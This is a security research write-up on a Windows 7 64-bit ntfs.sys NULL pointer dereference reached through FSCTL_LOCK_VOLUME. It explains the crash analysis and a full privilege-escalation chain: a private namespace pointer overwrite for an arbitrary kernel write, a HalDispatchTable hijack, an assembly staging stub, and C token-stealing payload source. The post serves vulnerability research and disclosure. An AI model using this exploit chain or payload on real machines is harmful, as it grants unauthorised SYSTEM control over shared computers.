Several months back we have been playing with different file systems on various system platforms, examining the security posture and robustness of numerous device drivers’ implementations. One of the configurations we spent some time on was the commonly used NTFS on Microsoft Windows – as the file system is rather complex and still largely unexplored, we could expect its device driver to have some bugs to that would be easily uncovered. In addition, it was certainly tempting to be able to simply insert a USB stick, have it automatically mounted by the operating system and immediately compromise it by triggering a vulnerability in ntfs.sys. We had some promising results during the process, one being an interesting bug (though not quite dangerous) that we managed to analyze and exploit into a local elevation of privileges. In today’s post, we are providing some specifics regarding the nature of the vulnerability, and how it can be taken advantage of to acquire system privileges on the Microsoft Windows 7 64-bit platform.
Please note that the presented issue requires the attacker to obtain physical access to the machine and have a local user in the system. Consequently, the only scenario in which it might be a problem security-wise is a local computer shared between multiple users with restricted privileges (e.g. schools, universities, hostels) and thus has been rated as low-severity by both us and MSRC, which has been informed about the matter and claimed to have passed the information to the Windows team for potential fixing as a stability issue somewhere in the future. We are releasing some of its technical details as an interesting case study of Windows kernel exploitation using somewhat novel techniques to achieve reliable execution of code with escalated privileges. Enjoy!
Introduction
One of the obvious steps that we took to test the reliability of the file system management implemented in ntfs.sys was running a trivial bit-flipping fuzzer to see if we could reproduce any interesting behavior (such as a system crash) with such simple techniques. The first indicator of a possibly serious bug – a Blue Screen of Death – was encountered after roughly 17 hours of fuzzing time on a single laptop, and looked like the following:EXCEPTION_RECORD: fffff88006fd7fd8 -- (.exr 0xfffff88006fd7fd8)
ExceptionAddress: fffff8800125311e (Ntfs!NtfsAcquirePagingResourceExclusive+0x0000000000000016)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: 0000000000000060
Attempt to read from address 0000000000000060
CONTEXT: fffff88006fd7830 -- (.cxr 0xfffff88006fd7830)
rax=0000000000000702 rbx=fffffa8005c0b180 rcx=0000000000000000
rdx=fffff8a005859ce0 rsi=fffffa8005c0b7e0 rdi=0000000000000000
rip=fffff8800125311e rsp=fffff88006fd8218 rbp=fffff88006fd85a0
r8=0000000000000001 r9=0000000000000000 r10=fffff8a00b254010
r11=fffff88006fd81e8 r12=fffffa8005b36ae0 r13=0000000000000000
r14=0000000000000001 r15=00000000c000026e
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010246
Ntfs!NtfsAcquirePagingResourceExclusive+0x16:
fffff880`0125311e 488b4960 mov rcx,qword ptr [rcx+60h] ds:002b:00000000`00000060=????????????????
Resetting default scope
[...]
STACK_TEXT:
fffff880`06fd8218 fffff880`01326de4 : [...] : Ntfs!NtfsAcquirePagingResourceExclusive+0x16
fffff880`06fd8220 fffff880`013178a3 : [...] : Ntfs!NtfsPerformDismountOnVcb+0x758
fffff880`06fd8330 fffff880`01317656 : [...] : Ntfs!NtfsLockVolumeInternal+0xf3
fffff880`06fd83a0 fffff880`013053ee : [...] : Ntfs!NtfsLockVolume+0x1f6
fffff880`06fd8480 fffff880`0130553d : [...] : Ntfs!NtfsUserFsRequest+0x2de
fffff880`06fd84c0 fffff880`0102ebcf : [...] : Ntfs!NtfsFsdFileSystemControl+0x13d
fffff880`06fd8560 fffff880`01031aea : [...] : fltmgr!FltpLegacyProcessingAfterPreCallbacksCompleted+0x24f
fffff880`06fd85f0 fffff880`010670b5 : [...] : fltmgr!FltPerformSynchronousIo+0x2ca
fffff880`06fd8690 fffff880`01067b38 : [...] : fltmgr!IssueControlOperation+0x395
fffff880`06fd8720 fffff880`031555df : [...] : fltmgr!FltFsControlFile+0x48
fffff880`06fd8780 fffff880`03155d0e : [...] : FsDepends!DepFSSendDismountRequest+0x143
fffff880`06fd87e0 fffff880`0315582d : [...] : FsDepends!DepFSDismountDependencyList+0xd6
fffff880`06fd8840 fffff880`031747a8 : [...] : FsDepends!DependentFSDismountForUnsurface+0x175
fffff880`06fd88a0 fffff880`031749f2 : [...] : vhdmp!VhdmpiHaltActiveSurface+0x78
fffff880`06fd88f0 fffff880`03177156 : [...] : vhdmp!VhdmpiHaltSurfaceOrWait+0xb2
fffff880`06fd8940 fffff880`0316e117 : [...] : vhdmp!VhdmpiRemoveVirtualDisk+0x246
fffff880`06fd8990 fffff880`03166177 : [...] : vhdmp! ?? : [...] :FNODOBFM: [...] :`string'+0x4d87
fffff880`06fd89c0 fffff800`0299e717 : [...] : vhdmp!VhdmpFirstLevelIrpHandler+0x87
fffff880`06fd8a10 fffff800`0299ef76 : [...] : nt!IopXxxControlFile+0x607
fffff880`06fd8b40 fffff800`02687453 : [...] : nt!NtDeviceIoControlFile+0x56
fffff880`06fd8bb0 00000000`76e0138a : [...] : nt!KiSystemServiceCopyEnd+0x13
00000000`010fe548 000007fe`fd49a249 : [...] : ntdll!NtDeviceIoControlFile+0xa
00000000`010fe550 00000000`76ca683f : [...] : KERNELBASE!DeviceIoControl+0x75
00000000`010fe5c0 000007fe`f32d3994 : [...] : kernel32!DeviceIoControlImplementation+0x7f
00000000`010fe610 000007fe`f2c6886b : [...] : VirtDisk!DetachVirtualDisk+0x6c
00000000`010fe670 00000000`ff61f734 : [...] : vdsvd!COpenVDisk: [...] :Detach+0xb3
00000000`010fe6a0 000007fe`fd8823d5 : [...] : vds!CVdsOpenVDisk: [...] :Detach+0x3c
00000000`010fe6e0 000007fe`fd92b68e : [...] : RPCRT4!Invoke+0x65
00000000`010fe740 000007fe`fd8848d6 : [...] : RPCRT4!Ndr64StubWorker+0x61b
00000000`010fed00 000007fe`fee60883 : [...] : RPCRT4!NdrStubCall3+0xb5
00000000`010fed60 000007fe`fee60ccd : [...] : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
00000000`010fed90 000007fe`fee60c43 : [...] : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
00000000`010fee00 000007fe`fed1a4f0 : [...] : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
00000000`010feeb0 000007fe`fee614d6 : [...] : ole32!CCtxComChnl: [...] :ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
00000000`010ff040 000007fe`fee6122b : [...] : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
00000000`010ff0b0 000007fe`fee5fd6d : [...] : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
00000000`010ff240 000007fe`fd8750f4 : [...] : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
00000000`010ff2e0 000007fe`fd874f56 : [...] : RPCRT4!DispatchToStubInCNoAvrf+0x14
00000000`010ff310 000007fe`fd87775b : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStubWorker+0x146
00000000`010ff430 000007fe`fd87769b : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStub+0x9b
00000000`010ff470 000007fe`fd877632 : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStubWithObject+0x5b
00000000`010ff4f0 000007fe`fd87532d : [...] : RPCRT4!LRPC_SCALL: [...] :DispatchRequest+0x422
00000000`010ff5d0 000007fe`fd892e7f : [...] : RPCRT4!LRPC_SCALL: [...] :HandleRequest+0x20d
00000000`010ff700 000007fe`fd892a35 : [...] : RPCRT4!LRPC_ADDRESS: [...] :ProcessIO+0x3bf
00000000`010ff840 00000000`76dcb68b : [...] : RPCRT4!LrpcIoComplete+0xa5
00000000`010ff8d0 00000000`76dcfeff : [...] : ntdll!TppAlpcpExecuteCallback+0x26b
00000000`010ff960 00000000`76ca652d : [...] : ntdll!TppWorkerThread+0x3f8
00000000`010ffc60 00000000`76ddc521 : [...] : kernel32!BaseThreadInitThunk+0xd
00000000`010ffc90 00000000`00000000 : [...] : ntdll!RtlUserThreadStart+0x1d
Visibly, it was a NULL pointer dereference crash triggered during the unmounting of a randomly mutated NTFS volume. Specifically, the vulnerable code path was reached during the handling of a FSCTL_LOCK_VOLUME control code sent to the volume by the “vds.exe” utility while unmounting the drive. If one tries to send the control code alone to the volume from within his own test application, it turns out to result in exactly the same behavior, enabling a rogue user to get the kernel to reference a NULL address in the context of an attacker-controlled process. Consequently, it is possible to have a direct control over any data read by the kernel from the memory area and potentially make it do bad things to itself. Let’s get some more context by examining the routine in which the exception takes place:
.text:0000000000019108 NtfsAcquirePagingResourceExclusive proc near
.text:0000000000019108
.text:0000000000019108 mov eax, 702h
.text:000000000001910D cmp ax, [rdx]
.text:0000000000019110 jz short loc_1912C
.text:0000000000019112 xor ecx, ecx
.text:0000000000019114 cmp [rdx+10h], rcx
.text:0000000000019118 jz short loc_1911E
.text:000000000001911A mov rcx, [rdx+70h]
.text:000000000001911E
.text:000000000001911E loc_1911E:
.text:000000000001911E mov rcx, [rcx+60h]
.text:0000000000019122 mov dl, r8b
.text:0000000000019125 jmp cs:__imp_ExAcquireResourceExclusiveLite
.text:000000000001912C
.text:000000000001912C loc_1912C:
.text:000000000001912C mov rcx, rdx
.text:000000000001912F jmp short loc_1911E
.text:000000000001912F NtfsAcquirePagingResourceExclusive endp
If we consider the fact that the second parameter of the function is a pointer to an SCB (Stream Control Block) structure, which in turn starts with FSRTL_ADVANCED_FCB_HEADER, the above assembly translates to the following pseudo-code:
BOOLEAN NtfsAcquirePagingResourceExclusive(PSCB scb, BOOLEAN arg)
{
PUNKNOWN_STRUCT ptr = NULL;
if (scb->NodeTypeCode == 0x702) {
ptr = scb;
} else {
if ( scb->PagingIoResource != NULL ) {
ptr = scb->fcb;
}
}
return ExAcquireResourceExclusiveLite(ptr->Resource, arg);
}
Interestingly, the function initializes a pointer to a structure with NULL, then only fills it with an actual object reference if certain conditions are met, and later uses the pointer in a memory operation to obtain an argument for the nt!AcquireResourceExclusiveLite routine (an ERESOURCE structure pointer). In our example, the impossible code branch is taken, leading to the usage of a NULL address and therefore loading data from fully-controlled user-mode memory regions.
kd> p
Ntfs!NtfsAcquirePagingResourceExclusive+0x16:
fffff880`0123511e 488b4960 mov rcx,qword ptr [rcx+60h]
kd> ? rcx
Evaluate expression: 0 = 00000000`00000000
kd> ? poi(rcx+60)
Evaluate expression: 4702111234474983745 = 41414141`41414141
However, taking the new mitigation mechanisms introduced in Windows 8 into account, including the unavailability of NULL page mapping functionality otherwise reachable through NtAllocateVirtualMemory, the bug would only be exploitable on Windows 7 and earlier versions; it doesn’t make any difference though, since the crash doesn’t reproduce on Windows 8 anyway. For the affected platforms though, exploitation odds are looking good at this point of analysis.
Exploitation phase #1: the context
In order to achieve reliable escalation into ring-0, it is necessary to examine the memory operations performed by ExAcquireResourceExclusiveLite upon the ERESOURCE structure. After a quick look at IDA, the function seems to be rather complicated: a lot of fields are being read from and written to in various relations, and some parts of the code can even get stuck waiting forever for a particular bit in a bitmask to be set. If you look closely though, there is one code path that is relatively simple and self-contained, thus has the potential to aid in successful exploitation (the rbx register stores the structure base address):.text:0000000140084470 xor r12d, r12d
[...]
.text:0000000140084449 cmp [rbx+40h], r12d
.text:000000014008444D jnz loc_14008433D
.text:0000000140084453 mov edx, r12d
.text:0000000140084456 jmp loc_1400842CE
[...]
.text:00000001400842CE and dword ptr [rbx+38h], 3
.text:00000001400842D2 or dword ptr [rbx+38h], 4
.text:00000001400842D6 mov r13d, 1
.text:00000001400842DC mov [rbx+40h], r13d
.text:00000001400842E0 mov [rbx+18h], r13w
.text:00000001400842E5 mov [rbx+30h], r14
.text:00000001400842E9 mov eax, 80h
.text:00000001400842EE movzx ebp, r13b
.text:00000001400842F2 or [rbx+1Ah], ax
Leading the kernel to execute the above branch has several advantages over other options: it only performs a constant number of simple memory operations over the structure fields, is simple to understand and returns immediately (i.e. doesn’t wait for a particular bit combination etc). Back to pseudo-code, the interesting assembly snippet can be represented using a few expressions:
if [dword](x + 0x40) == 0
[dword](x + 0x38) = ([dword](x + 0x38) & 3) | 4;
[dword](x + 0x40) = 1;
[word](x + 0x18) = 1;
[qword](x + 0x30) = PsGetCurrentThread();
[word](x + 0x1a) |= 0x80;
To add some more context, the Windows 7 64-bit ERESOURCE structure is defined as follows:
kd> dt _ERESOURCE
nt!_ERESOURCE
+0x000 SystemResourcesList : _LIST_ENTRY
+0x010 OwnerTable : Ptr64 _OWNER_ENTRY
+0x018 ActiveCount : Int2B
+0x01a Flag : Uint2B
+0x020 SharedWaiters : Ptr64 _KSEMAPHORE
+0x028 ExclusiveWaiters : Ptr64 _KEVENT
+0x030 OwnerEntry : _OWNER_ENTRY
+0x040 ActiveEntries : Uint4B
+0x044 ContentionCount : Uint4B
+0x048 NumberOfSharedWaiters : Uint4B
+0x04c NumberOfExclusiveWaiters : Uint4B
+0x050 Reserved2 : Ptr64 Void
+0x058 Address : Ptr64 Void
+0x058 CreatorBackTraceIndex : Uint8B
+0x060 SpinLock : Uint8B
Now, that’s a lot of memory operations, if the attacker wants to supply a bogus parameter such as an important system structure! Given the amount of writes taking place at various offsets, it really is quite non-trivial to accomplish successful privilege escalation without severely corrupting memory around the purposely overwritten value. At first, I had two ideas of how the problem could be approached:
1. Find a memory region with an ETHREAD address (in)directly related to system security and attempt to replace it with the current thread’s structure address (see offset 0×30), hoping that the other operations would not deal critical damage to the surrounding data. An example of such approach would be to inject the current thread into a more-privileged process by altering a thread list within the corresponding process’ EPROCESS structure.
2. Find a writeable memory region with a kernel-mode function pointer and use the (x + 0×38) or (x + 0×40) memory writes to replace the higher 32-bits of the ring-0 address (typically equal to 0xFFFFF8A0) with a user-mode prefix containing zeros for the most significant 31 bits. An example of such approach would be to overwrite one of the KernelRoutine / RundownRoutine members of the KAPC structure:
kd> dt _KAPC
nt!_KAPC
+0x000 Type : UChar
+0x001 SpareByte0 : UChar
+0x002 Size : UChar
+0x003 SpareByte1 : UChar
+0x004 SpareLong0 : Uint4B
+0x008 Thread : Ptr64 _KTHREAD
+0x010 ApcListEntry : _LIST_ENTRY
+0x020 KernelRoutine : Ptr64 void
+0x028 RundownRoutine : Ptr64 void
+0x030 NormalRoutine : Ptr64 void
+0x038 NormalContext : Ptr64 Void
+0x040 SystemArgument1 : Ptr64 Void
+0x048 SystemArgument2 : Ptr64 Void
+0x050 ApcStateIndex : Char
+0x051 ApcMode : Char
+0x052 Inserted : UChar
If carried out correctly (i.e. spent more time on), this technique could be most likely used to exploit the discussed bug, thanks to several fortunate facts: kernel-mode addresses of KAPC structures are known to user-mode programs if allocated as Reserve Objects, and the 32 user-controlled bytes (highlighted) are placed directly after kernel-mode pointers, making it possible to set the bytes properly in order to meet the (x + 0×40) == 0 condition.
I have done some quick testing trying the most intuitive ideas, but always failed miserably – either it was impossible to match the offsets correctly so that meaningful data was overwritten in the desired way, or the other modifications done to surrounding memory would sooner or later bring the operating system down. After one or two hours of continuous BSoDs, I decided to see if my most recent discovery – Private Namespace objects – could come in handy. And they really did, as a fully reliable exploit was eventually implemented using this very technique :)
Exploitation phase #2: private namespaces
The following high-level description of private namespaces can be found in MSDN:An object namespace protects named objects from unauthorized access. Creating a private namespace enables applications and services to build a more secure environment.
A process can create a private namespace using the CreatePrivateNamespace function. This function requires that you specify a boundary that defines how the objects in the namespace are to be isolated. The caller must be within the specified boundary for the create operation to succeed. To specify a boundary, use the CreateBoundaryDescriptor and AddSIDToBoundaryDescriptor functions.
The abstract details of the object semantics beyond our interest – the really important part is its representation as a structure in the kernel memory. After creating an exemplary private namespace and investigating the handle, the namespace proves to be technically implemented as a Directory object.
kd> !handle 28
PROCESS fffffa80054e4060
SessionId: 1 Cid: 0584 Peb: 7fffffdb000 ParentCid: 0240
DirBase: 58fac000 ObjectTable: fffff8a005bd8ed0 HandleCount: 11.
Image: ntfs_exploit.exe
Handle table at fffff8a00a367000 with 11 entries in use
0028: Object: fffff8a007d068d0 GrantedAccess: 000f000f Entry: fffff8a00a3670a0
Object: fffff8a007d068d0 Type: (fffffa8003666f30) Directory
ObjectHeader: fffff8a007d068a0 (new version)
HandleCount: 1 PointerCount: 2
While typical Windows Directory objects are represented by a fixed-size OBJECT_DIRECTORY structure, private namespaces are no ordinary directories – in fact, they consist of three separate structures bundled within a single allocation: an almost empty OBJECT_DIRECTORY followed by structures referred to as NAMESPACE_DESCRIPTOR and BOUNDARY_DESCRIPTOR, the last one being of variable size dependent on the length of the boundary name specified through CreateBoundaryDescriptor. The overall layout of a private namespace in the kernel memory is broken down below (second structure is highlighted):
fffff8a0`07d068d0 00000000 00000000 00000000 00000000
fffff8a0`07d068e0 00000000 00000000 00000000 00000000
fffff8a0`07d068f0 00000000 00000000 00000000 00000000
fffff8a0`07d06900 00000000 00000000 00000000 00000000
fffff8a0`07d06910 00000000 00000000 00000000 00000000
fffff8a0`07d06920 00000000 00000000 00000000 00000000
fffff8a0`07d06930 00000000 00000000 00000000 00000000
fffff8a0`07d06940 00000000 00000000 00000000 00000000
fffff8a0`07d06950 00000000 00000000 00000000 00000000
fffff8a0`07d06960 00000000 00000000 00000000 00000000
fffff8a0`07d06970 00000000 00000000 00000000 00000000
fffff8a0`07d06980 00000000 00000000 00000000 00000000
fffff8a0`07d06990 00000000 00000000 00000000 00000000
fffff8a0`07d069a0 00000000 00000000 00000000 00000000
fffff8a0`07d069b0 00000000 00000000 00000000 00000000
fffff8a0`07d069c0 00000000 00000000 00000000 00000000
fffff8a0`07d069d0 00000000 00000000 00000000 00000000
fffff8a0`07d069e0 00000000 00000000 00000000 00000000
fffff8a0`07d069f0 00000000 00000000 00000000 00000000
fffff8a0`07d06a00 00000000 00000000 ffffffff 00000000
fffff8a0`07d06a10 07d06a20 fffff8a0 00000001 00000000
fffff8a0`07d06a20 0283c550 fffff800 0283c550 fffff800
fffff8a0`07d06a30 07d068d0 fffff8a0 00000028 00000000
fffff8a0`07d06a40 00000000 00000000 00000021 00000000
fffff8a0`07d06a50 00000001 00000001 00000028 00000000
fffff8a0`07d06a60 00000001 00000016 00350031 00320034
fffff8a0`07d06a70 00340038 00000033
For any given directory, its namespace descriptor can be stored at any address, hence the presence of a PrivateNamespace pointer field in the structure:
kd> dt _OBJECT_DIRECTORY
nt!_OBJECT_DIRECTORY
+0x000 HashBuckets : [37] Ptr64 _OBJECT_DIRECTORY_ENTRY
+0x128 Lock : _EX_PUSH_LOCK
+0x130 DeviceMap : Ptr64 _DEVICE_MAP
+0x138 SessionId : Uint4B
+0x140 NamespaceEntry : Ptr64 Void
+0x148 Flags : Uint4B
In all practical scenarios, the pointer contains an address 0×10 bytes ahead of its own one (as shown in the object layout breakdown above). If an attacker was able to modify the pointer, the kernel would consequently use an improper address to access the structure. Furthermore, the NAMESPACE_DESCRIPTOR being pointed at contains a LIST_ENTRY field which links the structure into a global linked list of all private namespaces in the system. Objects are first attached to the list during their creation in nt!NtCreatePrivateNamespace, and later removed from the list during object deletion in nt!ObpRemoveNamespaceFromTable. Since the Windows 7 kernel doesn’t implement safe unlinking of LIST_ENTRY structures (Windows 8 does), the code responsible for unlinking is represented by a commonly observed assembly pattern, exposing the kernel to a potential write-what-where condition if both Flink/Blink fields are controlled by an attacker:
PAGE:00000001402EC29D mov rax, [rbx+140h]
[...]
PAGE:00000001402EC2BD mov rcx, [rax]
[...]
PAGE:00000001402EC2C4 mov rax, [rax+8]
PAGE:00000001402EC2C8 mov [rax], rcx
PAGE:00000001402EC2CB mov [rcx+8], rax
Last but not least, a majority of the OBJECT_DIRECTORY structure used for namespaces is zeroed out and completely ignored throughout the object’s lifespan, which mitigates the risk of corrupting important kernel data. Practical experiments have shown that it is possible to safely overwrite OBJECT_DIRECTORY.PrivateNamespace with a fixed 00000004`fffffa80 value by using a 0x10c offset relative to the object’s base address (which is already known to the exploit thanks to NtQuerySystemInformation and SystemHandleInformation). Let’s take a look at which parts of the structure are tampered with and why it is a good solution system reliability-wise.
fffff8a0`07d069f0 00000000 00800001 00000000 00000000
fffff8a0`07d06a00 00000000 00000000 ffffffff 04424640
fffff8a0`07d06a10 fffffa80 00000004 00000001 00000001
Let’s quickly iterate through the memory operations performed over the memory region:
* [dword](x + 0×40) or fffff8a0`07d06a1c is always zero during the comparison, as it is the unused padding memory past the OBJECT_DIRECTORY structure.
* [dword](x + 0×38) or fffff8a0`07d06a14 is the upper part of the PrivateNamespace pointer, overwritten with a value of 4.
* [word](x + 0×18) or fffff8a0`07d069f4 points into an unused field within OBJECT_DIRECTORY.
* [qword](x + 0×30) or fffff8a0`07d06a0c spans across two fields: its lower 32 bits overlap with SessionId (not dangerous), while the upper part is mapped to the lower DWORD of the PrivateNamespace pointer. Thanks to the predictability of the most significant bits of kernel-mode addresses, we achieve a full overwrite of PrivateNamespace with a user-mode 00000004`fffffa80 address, which can be trivially mapped through VirtualAlloc or any other such API.
* [word](x + 0x1a) or fffff8a0`07d069f2 points into an unused field within OBJECT_DIRECTORY.
After redirecting the PrivateNamespace pointer and mapping memory at the magic ring-3 address, an attacker is able to trigger a fully-controlled write-what-where by manipulating the values at 00000004`fffffa80 and 00000004`fffffa84, and fnally calling CloseHandle on the namespace object thus invoking the desired code path in nt!ObpRemoveNamespaceFromTable.
kd> u
nt!ObpRemoveNamespaceFromTable+0x58:
fffff800`029362b8 488908 mov qword ptr [rax],rcx
fffff800`029362bb 48894108 mov qword ptr [rcx+8],rax
fffff800`029362bf ff0dd3d2f3ff dec dword ptr [nt!ObpPrivateNamespaceLookupTable+0x258 (fffff800`02873598)]
fffff800`029362c5 0f0d0dc4d2f3ff prefetchw [nt!ObpPrivateNamespaceLookupTable+0x250 (fffff800`02873590)]
fffff800`029362cc 488b05bdd2f3ff mov rax,qword ptr [nt!ObpPrivateNamespaceLookupTable+0x250 (fffff800`02873590)]
fffff800`029362d3 488bc8 mov rcx,rax
fffff800`029362d6 4883e1f0 and rcx,0FFFFFFFFFFFFFFF0h
fffff800`029362da 4883f910 cmp rcx,10h
kd> ? rax
Evaluate expression: 4702111234474983745 = 41414141`41414141
kd> ? rcx
Evaluate expression: 4774451407313060418 = 42424242`42424242
At this point, we are free to overwrite any kernel memory region with arbitrary data, making it trivial to achieve an actual elevation of privileges. The next section details the remaining steps required to reliably change the primary access token of the current process to NT AUTHORITY\SYSTEM and exit the exploit without crashing the system.
Exploitation phase #3: owning the system
With the ability to replace arbitrary kernel memory with arbitrary data, one has lots of options to choose from in order to hijack ring-0 code execution flow. The most typical ideas include overwriting the nt!HalDispatchTable+sizeof(void*) function pointer, the nt!MmUserProbeAddress value, a return address on a kernel-mode stack or one of the function pointers within various Windows objects (such as ETHREAD.SuspendApc.KernelRoutine). In this particular proof of concept exploit, I decided to go with HalDispatchTable, being the easiest and most commonly used technique. Because the write-what-where triggered during namespace deletion works both ways, we require the following staging payload in order to jump over the old value of HalDispatchTable+8 at offset 8 in our code (the magic 0×4141… value must be replaced with the address of the actual shellcode).[bits 64]
start:
jmp @@
padding:
times (8 + 8 - (padding - start)) db 0
@@:
mov rax, 0x4141414141414141
jmp rax
Thanks to the fact that the overwritten pointer is saved at offset 8 of the staging payload by the kernel, we can safely restore its original value after replacing the process security token in our hostile ring-0 routine. That way, we make sure that post-exploitation system state is completely clean and subsequent NtQueryIntervalProfile calls from other processes won’t bring the system down after we achieve our goals.
The payload
I have often seen Windows kernel exploits using very non-elegant payloads written in assembly, which would use constant offsets and other types of hard-coded information. Such payloads are not portable across various Windows editions or processor bitnesses and most of all, they just look bad. I decided to develop my own high-level C payload for replacing primary process tokens using documented Windows kernel API. Since all of the referenced functions are publicly exported kernel symbols, their addresses can be obtained while still in user-mode, as a part of the pre-exploitation initialization via NtQuerySystemInformation and SystemModuleInformation. Without further ado, the code looks like the following:NTSTATUS EscalatePrivileges( /* adequate number of parameters */ ) {
OBJECT_ATTRIBUTES ObjectAttributes;
NTSTATUS NtStatus;
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
CLIENT_ID ClientId = {(HANDLE)4, NULL};
PROCESS_ACCESS_TOKEN AccessToken;
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
if (!NT_SUCCESS(NtStatus)) {
return STATUS_UNSUCCESSFUL;
}
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtStatus = pZwDuplicateToken(hToken, TOKEN_ALL_ACCESS, &ObjectAttributes, TRUE,
TokenPrimary, &hNewToken);
if (!NT_SUCCESS(NtStatus)) {
goto err;
}
AccessToken.Token = hNewToken;
AccessToken.Thread = NULL;
NtStatus = pZwSetInformationProcess(GetCurrentProcess(),
ProcessAccessToken,
&AccessToken,
sizeof(PROCESS_ACCESS_TOKEN));
err:
if (hNewToken != NULL) {
pZwCloseHandle(hNewToken);
}
if (hToken != NULL) {
pZwCloseHandle(hToken);
}
if (hSystem != NULL) {
pZwCloseHandle(hSystem);
}
return NtStatus;
}
In short, the routine attempts to open a handle to the “System” process by using the default PID=4, acquires a handle to its access token which is guaranteed to have the highest possible privileges (NT AUTHORITY\SYSTEM user token), duplicates it as a primary token and assigns it to the current program – a rather typical privilege escalation payload activity implemented using four official API functions. It works properly on all 32-bit platforms including the latest Windows 8; for example, it has been used in the final stage of the CVE-2011-2018 vulnerability exploitation.
Interestingly, when testing the shellcode on Windows 7 64-bit, ZwSetInformationProcess unexpectedly returned error code 0xC00000BB (STATUS_NOT_SUPPORTED). After a cursory investigation, it turned out that the internal nt!PspAssignPrimaryToken routine verifies the PrimaryTokenFrozen flag potentially set in the EPROCESS.Flags2 field of the process to receive a new primary token:
+0x434 Flags2 : Uint4B
+0x434 JobNotReallyActive : Pos 0, 1 Bit
+0x434 AccountingFolded : Pos 1, 1 Bit
+0x434 NewProcessReported : Pos 2, 1 Bit
+0x434 ExitProcessReported : Pos 3, 1 Bit
+0x434 ReportCommitChanges : Pos 4, 1 Bit
+0x434 LastReportMemory : Pos 5, 1 Bit
+0x434 ReportPhysicalPageChanges : Pos 6, 1 Bit
+0x434 HandleTableRundown : Pos 7, 1 Bit
+0x434 NeedsHandleRundown : Pos 8, 1 Bit
+0x434 RefTraceEnabled : Pos 9, 1 Bit
+0x434 NumaAware : Pos 10, 1 Bit
+0x434 ProtectedProcess : Pos 11, 1 Bit
+0x434 DefaultPagePriority : Pos 12, 3 Bits
+0x434 PrimaryTokenFrozen : Pos 15, 1 Bit
+0x434 ProcessVerifierTarget : Pos 16, 1 Bit
+0x434 StackRandomizationDisabled : Pos 17, 1 Bit
+0x434 AffinityPermanent : Pos 18, 1 Bit
+0x434 AffinityUpdateEnable : Pos 19, 1 Bit
+0x434 PropagateNode : Pos 20, 1 Bit
+0x434 ExplicitAffinity : Pos 21, 1 Bit
At that time, I was not able to find any documented way of clearing the flag for the current process or setting a new token regardless of the flag – if you are aware of any such technique, I am more than happy to hear from you. In the meanwhile, I decided to zero out the flag manually by hardcoding the offset into the current process structure for the sake of a working proof of concept:
PDWORD CurrentProcess = PsGetCurrentProcess();
[...]
// Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag.
CurrentProcess[kFlags2Offset] &= ~kPrimaryTokenFrozen;
After this slight modification, the payload successfully completes, elevating the attacker’s rights in the system from whatever user he was running as to NT AUTHORITY\SYSTEM.
Resource releasing issues
During the process of locking a volume, the supposedly present (but in fact non-existent) ERESOURCE structure is used twice – once to acquire the synchronization lock and once to release it. However, the problem with our modified volume is handled differently by the ntfs!NtfsAcquirePagingResourceExclusive and ntfs!NtfsReleasePagingResource. While the former routine uses a NULL pointer to retrieve the PERESOURCE pointer, the latter one simply passes a NULL parameter to a recursive call to nt!ExReleaseResourceLite.
By the way...
If you'd like to learn SSH in depth, in the second half of January'25 we're running a 6h course - you can find the details at hexarcana.ch/workshops/ssh-course
The primary means of sanitisation the kernel release function takes is verifying that the resource in consideration is actually owned by the calling thread, and does that by comparing the value at structure offset 0×30 with the return value of nt!PsGetCurrentThread. What it practically means for us is that we have to obtain the ETHREAD address of the current thread by e.g. duplicating current thread’s handle and seeking through the SystemHandleInformation results, and eventually insert the value at virtual address 0×30. This prevents the system from falling upon the following bugcheck and ensures successful completion of the exploit:
RESOURCE_NOT_OWNED (e3)
A thread tried to release a resource it did not own.
Arguments:
Arg1: 0000000000000000, Address of resource
Arg2: fffffa8003814b50, Address of thread
Arg3: 0000000000000000, Address of owner table if there is one
Arg4: 0000000000000002
Besides the above, we didn’t encounter any more problems during the proof of concept development; after resolving the discussed issues, the exploit has worked smoothly on several Windows 7 platforms we had a chance to test. An actual demo showing how the vulnerability is taken advantage of on a real laptop by physically injecting the malformed volume is presented below.
Comments:
Add a comment: